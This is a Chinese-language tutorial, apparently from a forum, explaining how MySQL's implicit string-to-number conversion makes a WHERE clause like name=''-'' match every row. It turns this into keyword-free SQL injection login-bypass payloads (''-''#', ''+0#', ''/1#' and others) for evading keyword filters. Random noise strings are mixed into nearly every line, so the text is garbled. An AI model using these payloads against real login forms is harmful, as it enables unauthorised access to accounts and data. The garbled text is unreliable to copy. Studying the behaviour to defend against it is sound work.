我们先来看这样一个场景。, S" R8 \ v5 @) L2 V; J; p) T7 G
有以下表结构: & q7 I7 Z; @- \. i) Y" r* d5 {) S
+ O7 C' V( _( Y' H* H7 l
mysql> desc admin;
' Y! q8 a' U# F# w: V! k5 \+----------+--------------+------+-----+---------+----------------+: n1 ~( R) F' b9 s. B
| Field | Type | Null | Key | Default | Extra |- B) v/ j/ T! h9 Z
+----------+--------------+------+-----+---------+----------------+
. ?! B- J8 |; T% T' u| id | mediumint(9) | NO | PRI | NULL | auto_increment |
( }/ t. C3 n- h/ C' D% J| name | char(32) | NO | UNI | NULL | |1 r( {2 ?$ g5 V* q) i/ X8 O% V
| password | char(32) | NO | UNI | NULL | |
# A8 m, P5 L9 z: p* m' j9 S+----------+--------------+------+-----+---------+----------------+
! C2 t( u: M0 {$ h& j0 Q0 ~0 o3 rows in set (0.00 sec) s1 K/ A0 _5 x2 k7 ~1 D
执行select * from admin;,成功返回所有记录内容。. q6 A' a3 m, k( [, \8 ?( j! I9 q
$ \. G; M3 D, n4 b
0 i; L& e7 n9 i2 G" s- _& j& l! x; x; z+----+--------+----------------------------------+
( f4 W8 ?. w8 u* j! C| id | name | password |; U$ b; I2 u# |* Q' l
+----+--------+----------------------------------+0 H, _% N4 d+ _3 ~: K& h) d0 V
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
) ^* N, R1 E7 T" K& D, G6 R6 ?$ O2 || 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |9 ?- P" m- W K3 g7 y
| 4 | n00b | ff80e8508d39047460921792273533a4 |
' G; f4 I$ u) i. O, N" R: R+----+--------+----------------------------------+9 a! m0 ]: o* T5 l& `
3 rows in set (0.00 sec)3 c" M$ v3 Q+ h" \9 p
执行select * from admin where name=”;,没有匹配到任何记录。
, g% P2 k, ^: B- M4 Q
$ m; o" o- y% T1 e/ e7 z( E( M+ pmysql> select * from admin where name = '';) C1 x, L& D2 s3 E0 R! o
Empty set (0.00 sec)
, T) h; _' C$ p$ d* X: T那么我们来执行select * from admin where name = ”-”;" o/ G( k5 ^% n% v
3 y( [8 E" H( j- U8 A( F
* h; Q9 L4 n2 z; v+----+--------+----------------------------------+
' X- O& A! S: j) a5 c| id | name | password |
+ O8 T8 i; J$ j# Z. [3 J+----+--------+----------------------------------+* F, r( R) f, m
| 1 | admin | c6dabaeeb05f2bf8690bab15e3afb022 |
' S2 d6 K+ P7 }+ ^% j| 2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
g( s9 y* G6 \" r| 4 | n00b | ff80e8508d39047460921792273533a4 | }" |, v. V7 H/ z+ h( E
+----+--------+----------------------------------+
# `) I i! x% g$ n# h# R3 z3 rows in set, 3 warnings (0.00 sec)
8 z4 {' @1 f& P* s4 ?可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: " }6 B4 M' D9 V. V
1 y" _# Q2 N( r2 S4 f* A: Z$ H
mysql> show warnings;
3 t* |% {5 U% P, _# e+---------+------+------------------------------------------
) o/ Q7 F/ _9 c9 b# {' n1 j| Level | Code | Message
$ V% f* m% ]! K2 O; Y+---------+------+------------------------------------------
8 v# _4 w2 ^: d% A( u| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
0 O% j% S+ A2 Y4 m| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s
, d9 v# {: M% S- f: I* B8 h| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b9 m8 O0 u N6 a+ _% i1 F. A
+---------+------+------------------------------------------9 ~/ r/ R' h1 K+ G0 O
3 rows in set (0.00 sec)
: D! G- i& D2 U提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。 ! O# u- _( ` ?/ ~5 Q
2 s" U; g% s4 V9 J+ z- c8 Z5 P
mysql> select ''-''; B1 G D% m6 ?8 {8 O2 X) N
+-------+
# @8 @3 G4 r( v$ }7 f9 _| ''-'' |1 ]+ Z: S* ?: A, _; G2 ?6 E) S
+-------+/ l6 B3 i% Q1 i
| 0 |6 C5 l% P" I& G) I
+-------+
) _ A; [, p& n+ i _. j9 b& p/ C1 row in set (0.00 sec)" D0 |+ A/ v5 U- v$ J3 {8 O9 ^
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0: # z. L3 }- y( Q5 ~+ h
6 z' \0 B( ?2 l2 A3 w1 kmysql> select CAST((select name from admin limit 1,1) as DECIMAL);
' t8 ^9 M& @/ _4 e+-----------------------------------------------------+" ]0 k2 X$ h- R+ V( ~
| CAST((select name from admin limit 1,1) as DECIMAL) |2 o" q$ B; E' k }) l2 w& W
+-----------------------------------------------------+1 k: w# n! W! V6 u: a: p! e
| 0 |
! `& t5 Y. Q4 I8 U. W# I/ t+-----------------------------------------------------+
$ A; q3 @: i% K1 row in set, 1 warning (0.00 sec)
8 X* U) B; I2 ?' x J% e( m因此where语句构成了相等的条件,where 0=”=”,记录被返回。 6 l2 p5 [7 i0 K% j
" v5 I; k2 D# M8 Z" G& u: N
SQL注入场景: http://www.sqlzoo.net/hack/
+ N$ L" m6 F7 R
1 w6 H/ d% b8 A$ @( g/ c! H
) {3 r9 Z+ {; i5 }: s0 B3 t. i' K" z, z& t3 M
+ Q% k. {& N1 T% M
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 " O) C3 h% \# |
5 r% x; }4 Q0 e" b8 i z1 b! e0 |" M
那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 ' S6 a' k+ P* G7 o7 {. J9 i
% t0 F) g7 I4 x: B! b
/ q6 ~( I' g1 J% o' O6 r
# m. B4 D9 G9 G4 N2 G2 V F4 B
& a; H/ f3 j4 P& j仅仅在name子段输入’-”#,password留空,即可绕过登录验证。 7 y3 h1 h" o; }. D' ^
* a# j/ W5 B8 M: Q# g6 b: ^! u
2 T+ {' L$ p4 `- @* U1 n5 ^4 K
% o. v% d; X" g2 l除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
[# Z/ S9 W6 r7 j A# N I" w! B/ a
1 { U9 Q- L1 h. M& Z2 kmysql> select ''/1;- U/ Z5 Y* `6 h, }1 k7 X
+------+
" W8 U9 S: ^8 M| ''/1 |
* ~8 J% s/ @. r5 `+------++ W% t, ]1 _& d: c) e/ ^8 R
| 0 |; W8 _9 L! v/ K% M/ L2 F
+------++ O9 j# u" Z7 E9 C: i. \# a1 g
1 row in set (0.00 sec)# f3 I4 l! n& T( Z
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。 0 \) g( p% L, t* ~
( l) s2 }, m6 C8 a5 ~5 D/ J0 u
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
& @: z' [' V/ y( r- b' E m) [2 Q |
|